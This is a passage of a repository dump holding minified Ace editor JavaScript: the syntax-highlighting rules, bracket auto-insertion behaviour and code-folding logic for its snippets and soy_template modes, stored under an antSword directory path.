u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/snippets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"SELECTION|CURRENT_WORD|SELECTED_TEXT|CURRENT_LINE|LINE_INDEX|LINE_NUMBER|SOFT_TABS|TAB_SIZE|FILENAME|FILEPATH|FULLNAME\";this.$rules={start:[{token:\"constant.language.escape\",regex:/\\\\[\\$}`\\\\]/},{token:\"keyword\",regex:\"\\\\$(?:TM_)?(?:\"+e+\")\\\\b\"},{token:\"variable\",regex:\"\\\\$\\\\w+\"},{onMatch:function(e,t,n){return n[1]?n[1]++:n.unshift(t,1),this.tokenName},tokenName:\"markup.list\",regex:\"\\\\${\",next:\"varDecl\"},{onMatch:function(e,t,n){return n[1]?(n[1]--,n[1]||n.splice(0,2),this.tokenName):\"text\"},tokenName:\"markup.list\",regex:\"}\"},{token:\"doc.comment\",regex:/^\\${2}-{5,}$/}],varDecl:[{regex:/\\d+\\b/,token:\"constant.numeric\"},{token:\"keyword\",regex:\"(?:TM_)?(?:\"+e+\")\\\\b\"},{token:\"variable\",regex:\"\\\\w+\"},{regex:/:/,token:\"punctuation.operator\",next:\"start\"},{regex:/\\//,token:\"string.regex\",next:\"regexp\"},{regex:\"\",next:\"start\"}],regexp:[{regex:/\\\\./,token:\"escape\"},{regex:/\\[/,token:\"regex.start\",next:\"charClass\"},{regex:\"/\",token:\"string.regex\",next:\"format\"},{token:\"string.regex\",regex:\".\"}],charClass:[{regex:\"\\\\.\",token:\"escape\"},{regex:\"\\\\]\",token:\"regex.end\",next:\"regexp\"},{token:\"string.regex\",regex:\".\"}],format:[{regex:/\\\\[ulULE]/,token:\"keyword\"},{regex:/\\$\\d+/,token:\"variable\"},{regex:\"/[gim]*:?\",token:\"string.regex\",next:\"start\"},{token:\"string\",regex:\".\"}]}};r.inherits(o,s),t.SnippetHighlightRules=o;var u=function(){this.$rules={start:[{token:\"text\",regex:\"^\\\\t\",next:\"sn-start\"},{token:\"invalid\",regex:/^ \\s*/},{token:\"comment\",regex:/^#.*/},{token:\"constant.language.escape\",regex:\"^regex \",next:\"regex\"},{token:\"constant.language.escape\",regex:\"^(trigger|endTrigger|name|snippet|guard|endGuard|tabTrigger|key)\\\\b\"}],regex:[{token:\"text\",regex:\"\\\\.\"},{token:\"keyword\",regex:\"/\"},{token:\"empty\",regex:\"$\",next:\"start\"}]},this.embedRules(o,\"sn-\",[{token:\"text\",regex:\"^\\\\t\",next:\"sn-start\"},{onMatch:function(e,t,n){return n.splice(n.length),this.tokenName},tokenName:\"text\",regex:\"^(?!\t)\",next:\"start\"}])};r.inherits(u,s),t.SnippetGroupHighlightRules=u;var a=e(\"./folding/coffee\").FoldMode,f=function(){this.HighlightRules=u,this.foldingRules=new a};r.inherits(f,i),function(){this.$indentWithTabs=!0,this.lineCommentStart=\"#\",this.$id=\"ace/mode/snippets\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-soy_template.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new 